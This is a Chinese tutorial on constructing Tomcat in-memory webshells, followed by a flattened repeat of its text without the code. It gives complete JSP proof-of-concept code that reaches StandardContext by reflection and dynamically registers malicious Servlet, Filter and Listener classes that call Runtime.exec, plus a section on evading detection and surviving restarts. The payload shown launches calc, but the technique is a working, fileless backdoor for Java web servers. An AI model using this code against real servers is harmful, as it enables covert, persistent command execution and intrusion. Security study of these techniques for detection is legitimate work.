传统Web内存马构造思路与思考
字数 2376 2025-11-28 12:11:11

传统Web内存马构造思路与思考 - 教学文档

一、前言

内存马是一种无文件落地的Webshell技术,可以让攻击者在没有文件的情况下注入恶意代码,从而增强隐蔽性。本文深入分析传统Web内存马的构造思路,涵盖Servlet、Filter和Listener三种类型的内存马实现原理。

二、环境搭建

基础环境要求

  • Java 8+
  • Tomcat 9.0.111+
  • Maven项目管理

项目配置

  1. 创建JavaEE 8项目,确保依赖项包含Servlet
  2. 在pom.xml中添加tomcat-catalina依赖:
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.111</version>
</dependency>
  1. 创建用于实验的Servlet、Filter、Listener组件

三、Web应用内存马基础原理

JavaWeb请求处理流程

在收到请求后,Web容器中的处理顺序为:
Listener → Filter → Servlet → Filter → Listener

内存马注入原理

向Tomcat容器中的Listener、Filter、Servlet注入恶意代码,实现在收到特定请求时执行恶意操作。

传统内存马局限性

传统方法需要先上传JSP文件,该文件动态向Tomcat容器注册恶意组件,虽然最终实现无文件落地,但初始上传的文件仍然会落地。

四、注册流程分析

ContextConfig类分析

ContextConfig是Web应用配置解析器,负责整个Web应用的配置加载和初始化工作。

关键分析步骤

  1. web.xml解析:ContextConfig解析web.xml文件中的配置信息
  2. 配置信息存储:解析后的Servlet、Filter、Listener信息存储在webXml对象中
  3. 配置初始化:通过configureContext方法进行配置信息初始化
  4. 组件注册:分别注册Servlet、Filter、Listener到容器中

五、StandardContext对象获取

StandardContext作用

StandardContext是Context体系中较底层的实现,负责:

  • Servlet生命周期管理
  • Filter链管理
  • Listener管理

获取方法

通过HttpServletRequest获取StandardContext对象:

<%
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();

// 通过反射获取ApplicationContext字段
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);

// 通过字段获取ApplicationContext对象
Object applicationContext = applicationContextField.get(servletContext);

// 通过反射获取StandardContext字段
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);

// 通过字段获取StandardContext对象
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
%>

六、三种内存马技术详解

6.1 组件加载机制差异

Servlet

  • 加载机制:懒加载,只有在对应路由被访问时才创建实例
  • 内存马重点:修改实例化所需的数据

Filter

  • 加载机制:Web启动时立即实例化所有Filter,构建完整过滤链
  • 内存马重点:需要自己实例化并关注运行逻辑

Listener

  • 加载机制:Web启动时立即实例化,事件驱动
  • 内存马重点:实例化并将Listener注入列表

6.2 Servlet内存马

原理分析

ContextConfig中的Servlet注册流程:

for(ServletDef servlet : webxml.getServlets().values()) {
    Wrapper wrapper = this.context.createWrapper();
    // 设置各种属性...
    wrapper.setServletClass(servlet.getServletClass());
    // 添加映射...
}

恶意Servlet类

<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>

Wrapper构造

<%
// 将恶意类EvilServlet封装到Wrapper对象中
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("EvilServlet");
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/EvilServlet", "EvilServlet");
System.out.println("Servlet注入成功");
%>

完整POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>

<%
// StandardContext获取代码(同上)
// Wrapper构造代码(同上)
%>

6.3 Filter内存马

调用逻辑分析

  1. ApplicationFilterChain:负责Filter的链式调用
  2. internalDoFilter方法:核心调用逻辑,通过filters数组管理Filter实例
  3. FilterConfig管理:通过findFilterConfig方法获取filterConfig

关键构造要素

FilterDef构造
<%
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass("EvilFilter");

standardContext.addFilterDef(filterDef);
standardContext.filterStart();
%>
FilterMap构造
<%
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("EvilFilter");
standardContext.addFilterMap(filterMap);
// standardContext.addFilterMapBefore(filterMap); // 也可以使用此方法
%>
恶意Filter类
<%!
public class EvilFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest request, HttpServletResponse response, 
            FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request, response);
    }
}
%>

Filter入口方法

  • filterStart():Filter初始化入口方法,重新初始化filterConfigs
  • startInternal():Web创建时Filter初始化的底层方法

完整POC

<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%!
public class EvilFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest request, HttpServletResponse response, 
            FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request, response);
    }
}
%>

<%
// StandardContext获取代码
// FilterDef和FilterMap构造代码
// 创建恶意Filter实例
EvilFilter evilFilter = new EvilFilter();
%>

6.4 Listener内存马

Listener类型

  1. ServletRequestListener:请求创建和销毁时触发(最适合内存马)
  2. ServletRequestAttributeListener:属性变更时触发
  3. HttpSessionListener:Session创建和失效时触发

原理分析

  1. 事件分发机制:StandardContext.fireRequestInitEvent()方法遍历Listener列表
  2. 实例化列表:通过getApplicationEventListeners()获取applicationEventListenersList
  3. 动态调用:每次请求时遍历Listener实例并调用相应方法

恶意Listener类

<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public void requestDestroyed(ServletRequestEvent sre) {
        // 可选的销毁处理
    }
}
%>

内存马注入

<%
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>

完整POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
%>

<%
// StandardContext获取代码
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>

七、关键技术要点总结

7.1 核心原理

  1. StandardContext获取:通过反射链从HttpServletRequest获取StandardContext实例
  2. 组件生命周期:理解不同组件的加载时机和调用机制
  3. 容器内部结构:掌握Tomcat内部的数据结构和管理机制

7.2 技术差异

  • Servlet:重点关注Wrapper构造和URL映射
  • Filter:需要处理FilterDef、FilterMap和FilterConfig的完整链
  • Listener:直接操作applicationEventListenersList

7.3 防御规避

  1. 隐蔽性:传统内存马仍需初始文件上传,存在被检测风险
  2. 持久化:需要考虑内存马在容器重启后的存活问题
  3. 检测规避:需要对抗各种内存马检测工具和技术

八、进阶思考方向

  1. 无文件落地的完全内存马:探索不依赖任何文件上传的内存马技术
  2. 持久化机制:研究内存马在容器重启后的自动恢复技术
  3. 检测与对抗:分析现有检测手段并研究相应的规避技术
  4. 其他容器适配:将技术扩展到Jetty、WebLogic等其他Java容器

本教学文档详细分析了传统Web内存马的构造思路和实现技术,为深入理解内存马原理和防御技术提供了坚实基础。

传统Web内存马构造思路与思考 - 教学文档 一、前言 内存马是一种无文件落地的Webshell技术,可以让攻击者在没有文件的情况下注入恶意代码,从而增强隐蔽性。本文深入分析传统Web内存马的构造思路,涵盖Servlet、Filter和Listener三种类型的内存马实现原理。 二、环境搭建 基础环境要求 Java 8+ Tomcat 9.0.111+ Maven项目管理 项目配置 创建JavaEE 8项目,确保依赖项包含Servlet 在pom.xml中添加tomcat-catalina依赖: 创建用于实验的Servlet、Filter、Listener组件 三、Web应用内存马基础原理 JavaWeb请求处理流程 在收到请求后,Web容器中的处理顺序为: Listener → Filter → Servlet → Filter → Listener 内存马注入原理 向Tomcat容器中的Listener、Filter、Servlet注入恶意代码,实现在收到特定请求时执行恶意操作。 传统内存马局限性 传统方法需要先上传JSP文件,该文件动态向Tomcat容器注册恶意组件,虽然最终实现无文件落地,但初始上传的文件仍然会落地。 四、注册流程分析 ContextConfig类分析 ContextConfig是Web应用配置解析器,负责整个Web应用的配置加载和初始化工作。 关键分析步骤 web.xml解析 :ContextConfig解析web.xml文件中的配置信息 配置信息存储 :解析后的Servlet、Filter、Listener信息存储在webXml对象中 配置初始化 :通过configureContext方法进行配置信息初始化 组件注册 :分别注册Servlet、Filter、Listener到容器中 五、StandardContext对象获取 StandardContext作用 StandardContext是Context体系中较底层的实现,负责: Servlet生命周期管理 Filter链管理 Listener管理 获取方法 通过HttpServletRequest获取StandardContext对象: 六、三种内存马技术详解 6.1 组件加载机制差异 Servlet 加载机制 :懒加载,只有在对应路由被访问时才创建实例 内存马重点 :修改实例化所需的数据 Filter 加载机制 :Web启动时立即实例化所有Filter,构建完整过滤链 内存马重点 :需要自己实例化并关注运行逻辑 Listener 加载机制 :Web启动时立即实例化,事件驱动 内存马重点 :实例化并将Listener注入列表 6.2 Servlet内存马 原理分析 ContextConfig中的Servlet注册流程: 恶意Servlet类 Wrapper构造 完整POC 6.3 Filter内存马 调用逻辑分析 ApplicationFilterChain :负责Filter的链式调用 internalDoFilter方法 :核心调用逻辑,通过filters数组管理Filter实例 FilterConfig管理 :通过findFilterConfig方法获取filterConfig 关键构造要素 FilterDef构造 FilterMap构造 恶意Filter类 Filter入口方法 filterStart() :Filter初始化入口方法,重新初始化filterConfigs startInternal() :Web创建时Filter初始化的底层方法 完整POC 6.4 Listener内存马 Listener类型 ServletRequestListener :请求创建和销毁时触发(最适合内存马) ServletRequestAttributeListener :属性变更时触发 HttpSessionListener :Session创建和失效时触发 原理分析 事件分发机制 :StandardContext.fireRequestInitEvent()方法遍历Listener列表 实例化列表 :通过getApplicationEventListeners()获取applicationEventListenersList 动态调用 :每次请求时遍历Listener实例并调用相应方法 恶意Listener类 内存马注入 完整POC 七、关键技术要点总结 7.1 核心原理 StandardContext获取 :通过反射链从HttpServletRequest获取StandardContext实例 组件生命周期 :理解不同组件的加载时机和调用机制 容器内部结构 :掌握Tomcat内部的数据结构和管理机制 7.2 技术差异 Servlet :重点关注Wrapper构造和URL映射 Filter :需要处理FilterDef、FilterMap和FilterConfig的完整链 Listener :直接操作applicationEventListenersList 7.3 防御规避 隐蔽性 :传统内存马仍需初始文件上传,存在被检测风险 持久化 :需要考虑内存马在容器重启后的存活问题 检测规避 :需要对抗各种内存马检测工具和技术 八、进阶思考方向 无文件落地的完全内存马 :探索不依赖任何文件上传的内存马技术 持久化机制 :研究内存马在容器重启后的自动恢复技术 检测与对抗 :分析现有检测手段并研究相应的规避技术 其他容器适配 :将技术扩展到Jetty、WebLogic等其他Java容器 本教学文档详细分析了传统Web内存马的构造思路和实现技术,为深入理解内存马原理和防御技术提供了坚实基础。